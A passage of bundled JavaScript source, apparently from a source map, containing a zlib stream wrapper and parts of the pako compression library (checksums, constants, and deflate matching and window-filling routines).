Inflate(opts) {\n if (!(this instanceof Inflate)) return new Inflate(opts);\n Zlib.call(this, opts, binding.INFLATE);\n}\n\n// gzip - bigger header, same deflate compression\nfunction Gzip(opts) {\n if (!(this instanceof Gzip)) return new Gzip(opts);\n Zlib.call(this, opts, binding.GZIP);\n}\n\nfunction Gunzip(opts) {\n if (!(this instanceof Gunzip)) return new Gunzip(opts);\n Zlib.call(this, opts, binding.GUNZIP);\n}\n\n// raw - no header\nfunction DeflateRaw(opts) {\n if (!(this instanceof DeflateRaw)) return new DeflateRaw(opts);\n Zlib.call(this, opts, binding.DEFLATERAW);\n}\n\nfunction InflateRaw(opts) {\n if (!(this instanceof InflateRaw)) return new InflateRaw(opts);\n Zlib.call(this, opts, binding.INFLATERAW);\n}\n\n// auto-detect header.\nfunction Unzip(opts) {\n if (!(this instanceof Unzip)) return new Unzip(opts);\n Zlib.call(this, opts, binding.UNZIP);\n}\n\nfunction isValidFlushFlag(flag) {\n return flag === binding.Z_NO_FLUSH || flag === binding.Z_PARTIAL_FLUSH || flag === binding.Z_SYNC_FLUSH || flag === binding.Z_FULL_FLUSH || flag === binding.Z_FINISH || flag === binding.Z_BLOCK;\n}\n\n// the Zlib class they all inherit from\n// This thing manages the queue of requests, and returns\n// true or false if there is anything in the queue when\n// you call the .write() method.\n\nfunction Zlib(opts, mode) {\n var _this = this;\n\n this._opts = opts = opts || {};\n this._chunkSize = opts.chunkSize || exports.Z_DEFAULT_CHUNK;\n\n Transform.call(this, opts);\n\n if (opts.flush && !isValidFlushFlag(opts.flush)) {\n throw new Error('Invalid flush flag: ' + opts.flush);\n }\n if (opts.finishFlush && !isValidFlushFlag(opts.finishFlush)) {\n throw new Error('Invalid flush flag: ' + opts.finishFlush);\n }\n\n this._flushFlag = opts.flush || binding.Z_NO_FLUSH;\n this._finishFlushFlag = typeof opts.finishFlush !== 'undefined' ? opts.finishFlush : binding.Z_FINISH;\n\n if (opts.chunkSize) {\n if (opts.chunkSize < exports.Z_MIN_CHUNK || opts.chunkSize > exports.Z_MAX_CHUNK) {\n throw new Error('Invalid chunk size: ' + opts.chunkSize);\n }\n }\n\n if (opts.windowBits) {\n if (opts.windowBits < exports.Z_MIN_WINDOWBITS || opts.windowBits > exports.Z_MAX_WINDOWBITS) {\n throw new Error('Invalid windowBits: ' + opts.windowBits);\n }\n }\n\n if (opts.level) {\n if (opts.level < exports.Z_MIN_LEVEL || opts.level > exports.Z_MAX_LEVEL) {\n throw new Error('Invalid compression level: ' + opts.level);\n }\n }\n\n if (opts.memLevel) {\n if (opts.memLevel < exports.Z_MIN_MEMLEVEL || opts.memLevel > exports.Z_MAX_MEMLEVEL) {\n throw new Error('Invalid memLevel: ' + opts.memLevel);\n }\n }\n\n if (opts.strategy) {\n if (opts.strategy != exports.Z_FILTERED && opts.strategy != exports.Z_HUFFMAN_ONLY && opts.strategy != exports.Z_RLE && opts.strategy != exports.Z_FIXED && opts.strategy != exports.Z_DEFAULT_STRATEGY) {\n throw new Error('Invalid strategy: ' + opts.strategy);\n }\n }\n\n if (opts.dictionary) {\n if (!Buffer.isBuffer(opts.dictionary)) {\n throw new Error('Invalid dictionary: it should be a Buffer instance');\n }\n }\n\n this._handle = new binding.Zlib(mode);\n\n var self = this;\n this._hadError = false;\n this._handle.onerror = function (message, errno) {\n // there is no way to cleanly recover.\n // continuing only obscures problems.\n _close(self);\n self._hadError = true;\n\n var error = new Error(message);\n error.errno = errno;\n error.code = exports.codes[errno];\n self.emit('error', error);\n };\n\n var level = exports.Z_DEFAULT_COMPRESSION;\n if (typeof opts.level === 'number') level = opts.level;\n\n var strategy = exports.Z_DEFAULT_STRATEGY;\n if (typeof opts.strategy === 'number') strategy = opts.strategy;\n\n this._handle.init(opts.windowBits || exports.Z_DEFAULT_WINDOWBITS, level, opts.memLevel || exports.Z_DEFAULT_MEMLEVEL, strategy, opts.dictionary);\n\n this._buffer = Buffer.allocUnsafe(this._chunkSize);\n this._offset = 0;\n this._level = level;\n this._strategy = strategy;\n\n this.once('end', this.close);\n\n Object.defineProperty(this, '_closed', {\n get: function () {\n return !_this._handle;\n },\n configurable: true,\n enumerable: true\n });\n}\n\nutil.inherits(Zlib, Transform);\n\nZlib.prototype.params = function (level, strategy, callback) {\n if (level < exports.Z_MIN_LEVEL || level > exports.Z_MAX_LEVEL) {\n throw new RangeError('Invalid compression level: ' + level);\n }\n if (strategy != exports.Z_FILTERED && strategy != exports.Z_HUFFMAN_ONLY && strategy != exports.Z_RLE && strategy != exports.Z_FIXED && strategy != exports.Z_DEFAULT_STRATEGY) {\n throw new TypeError('Invalid strategy: ' + strategy);\n }\n\n if (this._level !== level || this._strategy !== strategy) {\n var self = this;\n this.flush(binding.Z_SYNC_FLUSH, function () {\n assert(self._handle, 'zlib binding closed');\n self._handle.params(level, strategy);\n if (!self._hadError) {\n self._level = level;\n self._strategy = strategy;\n if (callback) callback();\n }\n });\n } else {\n process.nextTick(callback);\n }\n};\n\nZlib.prototype.reset = function () {\n assert(this._handle, 'zlib binding closed');\n return this._handle.reset();\n};\n\n// This is the _flush function called by the transform class,\n// internally, when the last chunk has been written.\nZlib.prototype._flush = function (callback) {\n this._transform(Buffer.alloc(0), '', callback);\n};\n\nZlib.prototype.flush = function (kind, callback) {\n var _this2 = this;\n\n var ws = this._writableState;\n\n if (typeof kind === 'function' || kind === undefined && !callback) {\n callback = kind;\n kind = binding.Z_FULL_FLUSH;\n }\n\n if (ws.ended) {\n if (callback) process.nextTick(callback);\n } else if (ws.ending) {\n if (callback) this.once('end', callback);\n } else if (ws.needDrain) {\n if (callback) {\n this.once('drain', function () {\n return _this2.flush(kind, callback);\n });\n }\n } else {\n this._flushFlag = kind;\n this.write(Buffer.alloc(0), '', callback);\n }\n};\n\nZlib.prototype.close = function (callback) {\n _close(this, callback);\n process.nextTick(emitCloseNT, this);\n};\n\nfunction _close(engine, callback) {\n if (callback) process.nextTick(callback);\n\n // Caller may invoke .close after a zlib error (which will null _handle).\n if (!engine._handle) return;\n\n engine._handle.close();\n engine._handle = null;\n}\n\nfunction emitCloseNT(self) {\n self.emit('close');\n}\n\nZlib.prototype._transform = function (chunk, encoding, cb) {\n var flushFlag;\n var ws = this._writableState;\n var ending = ws.ending || ws.ended;\n var last = ending && (!chunk || ws.length === chunk.length);\n\n if (chunk !== null && !Buffer.isBuffer(chunk)) return cb(new Error('invalid input'));\n\n if (!this._handle) return cb(new Error('zlib binding closed'));\n\n // If it's the last chunk, or a final flush, we use the Z_FINISH flush flag\n // (or whatever flag was provided using opts.finishFlush).\n // If it's explicitly flushing at some other time, then we use\n // Z_FULL_FLUSH. Otherwise, use Z_NO_FLUSH for maximum compression\n // goodness.\n if (last) flushFlag = this._finishFlushFlag;else {\n flushFlag = this._flushFlag;\n // once we've flushed the last of the queue, stop flushing and\n // go back to the normal behavior.\n if (chunk.length >= ws.length) {\n this._flushFlag = this._opts.flush || binding.Z_NO_FLUSH;\n }\n }\n\n this._processChunk(chunk, flushFlag, cb);\n};\n\nZlib.prototype._processChunk = function (chunk, flushFlag, cb) {\n var availInBefore = chunk && chunk.length;\n var availOutBefore = this._chunkSize - this._offset;\n var inOff = 0;\n\n var self = this;\n\n var async = typeof cb === 'function';\n\n if (!async) {\n var buffers = [];\n var nread = 0;\n\n var error;\n this.on('error', function (er) {\n error = er;\n });\n\n assert(this._handle, 'zlib binding closed');\n do {\n var res = this._handle.writeSync(flushFlag, chunk, // in\n inOff, // in_off\n availInBefore, // in_len\n this._buffer, // out\n this._offset, //out_off\n availOutBefore); // out_len\n } while (!this._hadError && callback(res[0], res[1]));\n\n if (this._hadError) {\n throw error;\n }\n\n if (nread >= kMaxLength) {\n _close(this);\n throw new RangeError(kRangeErrorMessage);\n }\n\n var buf = Buffer.concat(buffers, nread);\n _close(this);\n\n return buf;\n }\n\n assert(this._handle, 'zlib binding closed');\n var req = this._handle.write(flushFlag, chunk, // in\n inOff, // in_off\n availInBefore, // in_len\n this._buffer, // out\n this._offset, //out_off\n availOutBefore); // out_len\n\n req.buffer = chunk;\n req.callback = callback;\n\n function callback(availInAfter, availOutAfter) {\n // When the callback is used in an async write, the callback's\n // context is the `req` object that was created. The req object\n // is === this._handle, and that's why it's important to null\n // out the values after they are done being used. `this._handle`\n // can stay in memory longer than the callback and buffer are needed.\n if (this) {\n this.buffer = null;\n this.callback = null;\n }\n\n if (self._hadError) return;\n\n var have = availOutBefore - availOutAfter;\n assert(have >= 0, 'have should not go down');\n\n if (have > 0) {\n var out = self._buffer.slice(self._offset, self._offset + have);\n self._offset += have;\n // serve some output to the consumer.\n if (async) {\n self.push(out);\n } else {\n buffers.push(out);\n nread += out.length;\n }\n }\n\n // exhausted the output buffer, or used all the input create a new one.\n if (availOutAfter === 0 || self._offset >= self._chunkSize) {\n availOutBefore = self._chunkSize;\n self._offset = 0;\n self._buffer = Buffer.allocUnsafe(self._chunkSize);\n }\n\n if (availOutAfter === 0) {\n // Not actually done. Need to reprocess.\n // Also, update the availInBefore to the availInAfter value,\n // so that if we have to hit it a third (fourth, etc.) time,\n // it'll have the correct byte counts.\n inOff += availInBefore - availInAfter;\n availInBefore = availInAfter;\n\n if (!async) return true;\n\n var newReq = self._handle.write(flushFlag, chunk, inOff, availInBefore, self._buffer, self._offset, self._chunkSize);\n newReq.callback = callback; // this same function\n newReq.buffer = chunk;\n return;\n }\n\n if (!async) return false;\n\n // finished with the chunk.\n cb();\n }\n};\n\nutil.inherits(Deflate, Zlib);\nutil.inherits(Inflate, Zlib);\nutil.inherits(Gzip, Zlib);\nutil.inherits(Gunzip, Zlib);\nutil.inherits(DeflateRaw, Zlib);\nutil.inherits(InflateRaw, Zlib);\nutil.inherits(Unzip, Zlib);","'use strict';\n\n\nvar TYPED_OK = (typeof Uint8Array !== 'undefined') &&\n (typeof Uint16Array !== 'undefined') &&\n (typeof Int32Array !== 'undefined');\n\nfunction _has(obj, key) {\n return Object.prototype.hasOwnProperty.call(obj, key);\n}\n\nexports.assign = function (obj /*from1, from2, from3, ...*/) {\n var sources = Array.prototype.slice.call(arguments, 1);\n while (sources.length) {\n var source = sources.shift();\n if (!source) { continue; }\n\n if (typeof source !== 'object') {\n throw new TypeError(source + 'must be non-object');\n }\n\n for (var p in source) {\n if (_has(source, p)) {\n obj[p] = source[p];\n }\n }\n }\n\n return obj;\n};\n\n\n// reduce buffer size, avoiding mem copy\nexports.shrinkBuf = function (buf, size) {\n if (buf.length === size) { return buf; }\n if (buf.subarray) { return buf.subarray(0, size); }\n buf.length = size;\n return buf;\n};\n\n\nvar fnTyped = {\n arraySet: function (dest, src, src_offs, len, dest_offs) {\n if (src.subarray && dest.subarray) {\n dest.set(src.subarray(src_offs, src_offs + len), dest_offs);\n return;\n }\n // Fallback to ordinary array\n for (var i = 0; i < len; i++) {\n dest[dest_offs + i] = src[src_offs + i];\n }\n },\n // Join array of chunks to single array.\n flattenChunks: function (chunks) {\n var i, l, len, pos, chunk, result;\n\n // calculate data length\n len = 0;\n for (i = 0, l = chunks.length; i < l; i++) {\n len += chunks[i].length;\n }\n\n // join chunks\n result = new Uint8Array(len);\n pos = 0;\n for (i = 0, l = chunks.length; i < l; i++) {\n chunk = chunks[i];\n result.set(chunk, pos);\n pos += chunk.length;\n }\n\n return result;\n }\n};\n\nvar fnUntyped = {\n arraySet: function (dest, src, src_offs, len, dest_offs) {\n for (var i = 0; i < len; i++) {\n dest[dest_offs + i] = src[src_offs + i];\n }\n },\n // Join array of chunks to single array.\n flattenChunks: function (chunks) {\n return [].concat.apply([], chunks);\n }\n};\n\n\n// Enable/Disable typed arrays use, for testing\n//\nexports.setTyped = function (on) {\n if (on) {\n exports.Buf8 = Uint8Array;\n exports.Buf16 = Uint16Array;\n exports.Buf32 = Int32Array;\n exports.assign(exports, fnTyped);\n } else {\n exports.Buf8 = Array;\n exports.Buf16 = Array;\n exports.Buf32 = Array;\n exports.assign(exports, fnUntyped);\n }\n};\n\nexports.setTyped(TYPED_OK);\n","'use strict';\n\n// Note: adler32 takes 12% for level 0 and 2% for level 6.\n// It isn't worth it to make additional optimizations as in original.\n// Small size is preferable.\n\n// (C) 1995-2013 Jean-loup Gailly and Mark Adler\n// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin\n//\n// This software is provided 'as-is', without any express or implied\n// warranty. In no event will the authors be held liable for any damages\n// arising from the use of this software.\n//\n// Permission is granted to anyone to use this software for any purpose,\n// including commercial applications, and to alter it and redistribute it\n// freely, subject to the following restrictions:\n//\n// 1. The origin of this software must not be misrepresented; you must not\n// claim that you wrote the original software. If you use this software\n// in a product, an acknowledgment in the product documentation would be\n// appreciated but is not required.\n// 2. Altered source versions must be plainly marked as such, and must not be\n// misrepresented as being the original software.\n// 3. This notice may not be removed or altered from any source distribution.\n\nfunction adler32(adler, buf, len, pos) {\n var s1 = (adler & 0xffff) |0,\n s2 = ((adler >>> 16) & 0xffff) |0,\n n = 0;\n\n while (len !== 0) {\n // Set limit ~ twice less than 5552, to keep\n // s2 in 31-bits, because we force signed ints.\n // in other case %= will fail.\n n = len > 2000 ? 2000 : len;\n len -= n;\n\n do {\n s1 = (s1 + buf[pos++]) |0;\n s2 = (s2 + s1) |0;\n } while (--n);\n\n s1 %= 65521;\n s2 %= 65521;\n }\n\n return (s1 | (s2 << 16)) |0;\n}\n\n\nmodule.exports = adler32;\n","'use strict';\n\n// (C) 1995-2013 Jean-loup Gailly and Mark Adler\n// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin\n//\n// This software is provided 'as-is', without any express or implied\n// warranty. In no event will the authors be held liable for any damages\n// arising from the use of this software.\n//\n// Permission is granted to anyone to use this software for any purpose,\n// including commercial applications, and to alter it and redistribute it\n// freely, subject to the following restrictions:\n//\n// 1. The origin of this software must not be misrepresented; you must not\n// claim that you wrote the original software. If you use this software\n// in a product, an acknowledgment in the product documentation would be\n// appreciated but is not required.\n// 2. Altered source versions must be plainly marked as such, and must not be\n// misrepresented as being the original software.\n// 3. This notice may not be removed or altered from any source distribution.\n\nmodule.exports = {\n\n /* Allowed flush values; see deflate() and inflate() below for details */\n Z_NO_FLUSH: 0,\n Z_PARTIAL_FLUSH: 1,\n Z_SYNC_FLUSH: 2,\n Z_FULL_FLUSH: 3,\n Z_FINISH: 4,\n Z_BLOCK: 5,\n Z_TREES: 6,\n\n /* Return codes for the compression/decompression functions. Negative values\n * are errors, positive values are used for special but normal events.\n */\n Z_OK: 0,\n Z_STREAM_END: 1,\n Z_NEED_DICT: 2,\n Z_ERRNO: -1,\n Z_STREAM_ERROR: -2,\n Z_DATA_ERROR: -3,\n //Z_MEM_ERROR: -4,\n Z_BUF_ERROR: -5,\n //Z_VERSION_ERROR: -6,\n\n /* compression levels */\n Z_NO_COMPRESSION: 0,\n Z_BEST_SPEED: 1,\n Z_BEST_COMPRESSION: 9,\n Z_DEFAULT_COMPRESSION: -1,\n\n\n Z_FILTERED: 1,\n Z_HUFFMAN_ONLY: 2,\n Z_RLE: 3,\n Z_FIXED: 4,\n Z_DEFAULT_STRATEGY: 0,\n\n /* Possible values of the data_type field (though see inflate()) */\n Z_BINARY: 0,\n Z_TEXT: 1,\n //Z_ASCII: 1, // = Z_TEXT (deprecated)\n Z_UNKNOWN: 2,\n\n /* The deflate compression method */\n Z_DEFLATED: 8\n //Z_NULL: null // Use -1 or null inline, depending on var type\n};\n","'use strict';\n\n// Note: we can't get significant speed boost here.\n// So write code to minimize size - no pregenerated tables\n// and array tools dependencies.\n\n// (C) 1995-2013 Jean-loup Gailly and Mark Adler\n// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin\n//\n// This software is provided 'as-is', without any express or implied\n// warranty. In no event will the authors be held liable for any damages\n// arising from the use of this software.\n//\n// Permission is granted to anyone to use this software for any purpose,\n// including commercial applications, and to alter it and redistribute it\n// freely, subject to the following restrictions:\n//\n// 1. The origin of this software must not be misrepresented; you must not\n// claim that you wrote the original software. If you use this software\n// in a product, an acknowledgment in the product documentation would be\n// appreciated but is not required.\n// 2. Altered source versions must be plainly marked as such, and must not be\n// misrepresented as being the original software.\n// 3. This notice may not be removed or altered from any source distribution.\n\n// Use ordinary array, since untyped makes no boost here\nfunction makeTable() {\n var c, table = [];\n\n for (var n = 0; n < 256; n++) {\n c = n;\n for (var k = 0; k < 8; k++) {\n c = ((c & 1) ? (0xEDB88320 ^ (c >>> 1)) : (c >>> 1));\n }\n table[n] = c;\n }\n\n return table;\n}\n\n// Create table on load. Just 255 signed longs. Not a problem.\nvar crcTable = makeTable();\n\n\nfunction crc32(crc, buf, len, pos) {\n var t = crcTable,\n end = pos + len;\n\n crc ^= -1;\n\n for (var i = pos; i < end; i++) {\n crc = (crc >>> 8) ^ t[(crc ^ buf[i]) & 0xFF];\n }\n\n return (crc ^ (-1)); // >>> 0;\n}\n\n\nmodule.exports = crc32;\n","'use strict';\n\n// (C) 1995-2013 Jean-loup Gailly and Mark Adler\n// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin\n//\n// This software is provided 'as-is', without any express or implied\n// warranty. In no event will the authors be held liable for any damages\n// arising from the use of this software.\n//\n// Permission is granted to anyone to use this software for any purpose,\n// including commercial applications, and to alter it and redistribute it\n// freely, subject to the following restrictions:\n//\n// 1. The origin of this software must not be misrepresented; you must not\n// claim that you wrote the original software. If you use this software\n// in a product, an acknowledgment in the product documentation would be\n// appreciated but is not required.\n// 2. Altered source versions must be plainly marked as such, and must not be\n// misrepresented as being the original software.\n// 3. This notice may not be removed or altered from any source distribution.\n\nvar utils = require('../utils/common');\nvar trees = require('./trees');\nvar adler32 = require('./adler32');\nvar crc32 = require('./crc32');\nvar msg = require('./messages');\n\n/* Public constants ==========================================================*/\n/* ===========================================================================*/\n\n\n/* Allowed flush values; see deflate() and inflate() below for details */\nvar Z_NO_FLUSH = 0;\nvar Z_PARTIAL_FLUSH = 1;\n//var Z_SYNC_FLUSH = 2;\nvar Z_FULL_FLUSH = 3;\nvar Z_FINISH = 4;\nvar Z_BLOCK = 5;\n//var Z_TREES = 6;\n\n\n/* Return codes for the compression/decompression functions. Negative values\n * are errors, positive values are used for special but normal events.\n */\nvar Z_OK = 0;\nvar Z_STREAM_END = 1;\n//var Z_NEED_DICT = 2;\n//var Z_ERRNO = -1;\nvar Z_STREAM_ERROR = -2;\nvar Z_DATA_ERROR = -3;\n//var Z_MEM_ERROR = -4;\nvar Z_BUF_ERROR = -5;\n//var Z_VERSION_ERROR = -6;\n\n\n/* compression levels */\n//var Z_NO_COMPRESSION = 0;\n//var Z_BEST_SPEED = 1;\n//var Z_BEST_COMPRESSION = 9;\nvar Z_DEFAULT_COMPRESSION = -1;\n\n\nvar Z_FILTERED = 1;\nvar Z_HUFFMAN_ONLY = 2;\nvar Z_RLE = 3;\nvar Z_FIXED = 4;\nvar Z_DEFAULT_STRATEGY = 0;\n\n/* Possible values of the data_type field (though see inflate()) */\n//var Z_BINARY = 0;\n//var Z_TEXT = 1;\n//var Z_ASCII = 1; // = Z_TEXT\nvar Z_UNKNOWN = 2;\n\n\n/* The deflate compression method */\nvar Z_DEFLATED = 8;\n\n/*============================================================================*/\n\n\nvar MAX_MEM_LEVEL = 9;\n/* Maximum value for memLevel in deflateInit2 */\nvar MAX_WBITS = 15;\n/* 32K LZ77 window */\nvar DEF_MEM_LEVEL = 8;\n\n\nvar LENGTH_CODES = 29;\n/* number of length codes, not counting the special END_BLOCK code */\nvar LITERALS = 256;\n/* number of literal bytes 0..255 */\nvar L_CODES = LITERALS + 1 + LENGTH_CODES;\n/* number of Literal or Length codes, including the END_BLOCK code */\nvar D_CODES = 30;\n/* number of distance codes */\nvar BL_CODES = 19;\n/* number of codes used to transfer the bit lengths */\nvar HEAP_SIZE = 2 * L_CODES + 1;\n/* maximum heap size */\nvar MAX_BITS = 15;\n/* All codes must not exceed MAX_BITS bits */\n\nvar MIN_MATCH = 3;\nvar MAX_MATCH = 258;\nvar MIN_LOOKAHEAD = (MAX_MATCH + MIN_MATCH + 1);\n\nvar PRESET_DICT = 0x20;\n\nvar INIT_STATE = 42;\nvar EXTRA_STATE = 69;\nvar NAME_STATE = 73;\nvar COMMENT_STATE = 91;\nvar HCRC_STATE = 103;\nvar BUSY_STATE = 113;\nvar FINISH_STATE = 666;\n\nvar BS_NEED_MORE = 1; /* block not completed, need more input or more output */\nvar BS_BLOCK_DONE = 2; /* block flush performed */\nvar BS_FINISH_STARTED = 3; /* finish started, need only more output at next deflate */\nvar BS_FINISH_DONE = 4; /* finish done, accept no more input or output */\n\nvar OS_CODE = 0x03; // Unix :) . Don't detect, use this default.\n\nfunction err(strm, errorCode) {\n strm.msg = msg[errorCode];\n return errorCode;\n}\n\nfunction rank(f) {\n return ((f) << 1) - ((f) > 4 ? 9 : 0);\n}\n\nfunction zero(buf) { var len = buf.length; while (--len >= 0) { buf[len] = 0; } }\n\n\n/* =========================================================================\n * Flush as much pending output as possible. All deflate() output goes\n * through this function so some applications may wish to modify it\n * to avoid allocating a large strm->output buffer and copying into it.\n * (See also read_buf()).\n */\nfunction flush_pending(strm) {\n var s = strm.state;\n\n //_tr_flush_bits(s);\n var len = s.pending;\n if (len > strm.avail_out) {\n len = strm.avail_out;\n }\n if (len === 0) { return; }\n\n utils.arraySet(strm.output, s.pending_buf, s.pending_out, len, strm.next_out);\n strm.next_out += len;\n s.pending_out += len;\n strm.total_out += len;\n strm.avail_out -= len;\n s.pending -= len;\n if (s.pending === 0) {\n s.pending_out = 0;\n }\n}\n\n\nfunction flush_block_only(s, last) {\n trees._tr_flush_block(s, (s.block_start >= 0 ? s.block_start : -1), s.strstart - s.block_start, last);\n s.block_start = s.strstart;\n flush_pending(s.strm);\n}\n\n\nfunction put_byte(s, b) {\n s.pending_buf[s.pending++] = b;\n}\n\n\n/* =========================================================================\n * Put a short in the pending buffer. The 16-bit value is put in MSB order.\n * IN assertion: the stream state is correct and there is enough room in\n * pending_buf.\n */\nfunction putShortMSB(s, b) {\n// put_byte(s, (Byte)(b >> 8));\n// put_byte(s, (Byte)(b & 0xff));\n s.pending_buf[s.pending++] = (b >>> 8) & 0xff;\n s.pending_buf[s.pending++] = b & 0xff;\n}\n\n\n/* ===========================================================================\n * Read a new buffer from the current input stream, update the adler32\n * and total number of bytes read. All deflate() input goes through\n * this function so some applications may wish to modify it to avoid\n * allocating a large strm->input buffer and copying from it.\n * (See also flush_pending()).\n */\nfunction read_buf(strm, buf, start, size) {\n var len = strm.avail_in;\n\n if (len > size) { len = size; }\n if (len === 0) { return 0; }\n\n strm.avail_in -= len;\n\n // zmemcpy(buf, strm->next_in, len);\n utils.arraySet(buf, strm.input, strm.next_in, len, start);\n if (strm.state.wrap === 1) {\n strm.adler = adler32(strm.adler, buf, len, start);\n }\n\n else if (strm.state.wrap === 2) {\n strm.adler = crc32(strm.adler, buf, len, start);\n }\n\n strm.next_in += len;\n strm.total_in += len;\n\n return len;\n}\n\n\n/* ===========================================================================\n * Set match_start to the longest match starting at the given string and\n * return its length. Matches shorter or equal to prev_length are discarded,\n * in which case the result is equal to prev_length and match_start is\n * garbage.\n * IN assertions: cur_match is the head of the hash chain for the current\n * string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1\n * OUT assertion: the match length is not greater than s->lookahead.\n */\nfunction longest_match(s, cur_match) {\n var chain_length = s.max_chain_length; /* max hash chain length */\n var scan = s.strstart; /* current string */\n var match; /* matched string */\n var len; /* length of current match */\n var best_len = s.prev_length; /* best match length so far */\n var nice_match = s.nice_match; /* stop if match long enough */\n var limit = (s.strstart > (s.w_size - MIN_LOOKAHEAD)) ?\n s.strstart - (s.w_size - MIN_LOOKAHEAD) : 0/*NIL*/;\n\n var _win = s.window; // shortcut\n\n var wmask = s.w_mask;\n var prev = s.prev;\n\n /* Stop when cur_match becomes <= limit. To simplify the code,\n * we prevent matches with the string of window index 0.\n */\n\n var strend = s.strstart + MAX_MATCH;\n var scan_end1 = _win[scan + best_len - 1];\n var scan_end = _win[scan + best_len];\n\n /* The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16.\n * It is easy to get rid of this optimization if necessary.\n */\n // Assert(s->hash_bits >= 8 && MAX_MATCH == 258, \"Code too clever\");\n\n /* Do not waste too much time if we already have a good match: */\n if (s.prev_length >= s.good_match) {\n chain_length >>= 2;\n }\n /* Do not look for matches beyond the end of the input. This is necessary\n * to make deflate deterministic.\n */\n if (nice_match > s.lookahead) { nice_match = s.lookahead; }\n\n // Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, \"need lookahead\");\n\n do {\n // Assert(cur_match < s->strstart, \"no future\");\n match = cur_match;\n\n /* Skip to next match if the match length cannot increase\n * or if the match length is less than 2. Note that the checks below\n * for insufficient lookahead only occur occasionally for performance\n * reasons. Therefore uninitialized memory will be accessed, and\n * conditional jumps will be made that depend on those values.\n * However the length of the match is limited to the lookahead, so\n * the output of deflate is not affected by the uninitialized values.\n */\n\n if (_win[match + best_len] !== scan_end ||\n _win[match + best_len - 1] !== scan_end1 ||\n _win[match] !== _win[scan] ||\n _win[++match] !== _win[scan + 1]) {\n continue;\n }\n\n /* The check at best_len-1 can be removed because it will be made\n * again later. (This heuristic is not always a win.)\n * It is not necessary to compare scan[2] and match[2] since they\n * are always equal when the other bytes match, given that\n * the hash keys are equal and that HASH_BITS >= 8.\n */\n scan += 2;\n match++;\n // Assert(*scan == *match, \"match[2]?\");\n\n /* We check for insufficient lookahead only every 8th comparison;\n * the 256th check will be made at strstart+258.\n */\n do {\n /*jshint noempty:false*/\n } while (_win[++scan] === _win[++match] && _win[++scan] === _win[++match] &&\n _win[++scan] === _win[++match] && _win[++scan] === _win[++match] &&\n _win[++scan] === _win[++match] && _win[++scan] === _win[++match] &&\n _win[++scan] === _win[++match] && _win[++scan] === _win[++match] &&\n scan < strend);\n\n // Assert(scan <= s->window+(unsigned)(s->window_size-1), \"wild scan\");\n\n len = MAX_MATCH - (strend - scan);\n scan = strend - MAX_MATCH;\n\n if (len > best_len) {\n s.match_start = cur_match;\n best_len = len;\n if (len >= nice_match) {\n break;\n }\n scan_end1 = _win[scan + best_len - 1];\n scan_end = _win[scan + best_len];\n }\n } while ((cur_match = prev[cur_match & wmask]) > limit && --chain_length !== 0);\n\n if (best_len <= s.lookahead) {\n return best_len;\n }\n return s.lookahead;\n}\n\n\n/* ===========================================================================\n * Fill the window when the lookahead becomes insufficient.\n * Updates strstart and lookahead.\n *\n * IN assertion: lookahead < MIN_LOOKAHEAD\n * OUT assertions: strstart <= window_size-MIN_LOOKAHEAD\n * At least one byte has been read, or avail_in == 0; reads are\n * performed for at least two bytes (required for the zip translate_eol\n * option -- not supported here).\n */\nfunction fill_window(s) {\n var _w_size = s.w_size;\n var p, n, m, more, str;\n\n //Assert(s->lookahead < MIN_LOOKAHEAD, \"already enough lookahead\");\n\n do {\n more = s.window_size - s.lookahead - s.strstart;\n\n // JS ints have 32 bit, block below not needed\n /* Deal with !@#$% 64K limit: */\n //if (sizeof(int) <= 2) {\n // if (more == 0 && s->strstart == 0 && s->lookahead == 0) {\n // more = wsize;\n //\n // } else if (more == (unsigned)(-1)) {\n // /* Very unlikely, but possible on 16 bit machine if\n // * strstart == 0 && lookahead == 1 (input done a byte at time)\n // */\n // more--;\n // }\n //}\n\n\n /* If the window is almost full and there is insufficient lookahead,\n * move the upper half to the lower one to make room in the upper half.\n */\n if (s.strstart >= _w_size + (_w_size - MIN_LOOKAHEAD)) {\n\n utils.arraySet(s.window, s.window, _w_size, _w_size, 0);\n s.match_start -= _w_size;\n s.strstart -= _w_size;\n /* we now have strstart >= MAX_DIST */\n s.block_start -= _w_size;\n\n /* Slide the hash table (could be avoided with 32 bit values\n at the expense of memory usage). We slide even when level == 0\n to keep the hash table consistent if we switch back to level > 0\n later. (Using level 0 permanently is not an optimal usage of\n zlib, so we don't care about this pathological case.)\n */\n\n n = s.hash_size;\n p = n;\n do {\n m = s.head[--p];\n s.head[p] = (m >= _w_size ? m - _w_size : 0);\n } while (--n);\n\n n = _w_size;\n p = n;\n do {\n m = s.prev[--p];\n s.prev[p] = (m >= _w_size ? m - _w_size : 0);\n /* If n is not on any hash chain, prev[n] is garbage but\n * its value will never be used.\n */\n } while (--n);\n\n more += _w_size;\n }\n if (s.strm.avail_in === 0) {\n break;\n }\n\n /* If there was no sliding:\n * strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 &&\n * more == window_size - lookahead - strstart\n * => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1)\n * => more >= window_size - 2*WSIZE + 2\n * In the BIG_MEM or MMAP case (not yet supported),\n * window_size == input_size + MIN_LOOKAHEAD &&\n * strstart + s->lookahead <= input_size => more >= MIN_LOOKAHEAD.\n * Otherwise, window_size == 2*WSIZE so more >= 2.\n * If there was sliding, more >= WSIZE. So in all cases, more >= 2.\n */\n //Assert(more >= 2, \"more < 2\");\n n = read_buf(s.strm, s.window, s.strstart + s.lookahead, more);\n s.lookahead += n;\n\n /* Initialize the hash value now that we have some input: */\n if (s.lookahead + s.insert >= MIN_MATCH) {\n str = s.strstart - s.insert;\n s.ins_h = s.window[str];\n\n /* UPDATE_HASH(s, s->ins_h, s->window[str + 1]); */\n s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[str + 1]) & s.hash_mask;\n//#if MIN_MATCH != 3\n// Call update_hash() MIN_MATCH-3 more times\n//#endif\n while (s.insert) {\n /* UPDATE_HASH(s, s->ins_h, s->window[str + MIN_MATCH-1]); */\n s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[str + MIN_MATCH - 1]) & s.hash_mask;\n\n s.prev[str & s.w_mask] = s.head[s.ins_h];\n 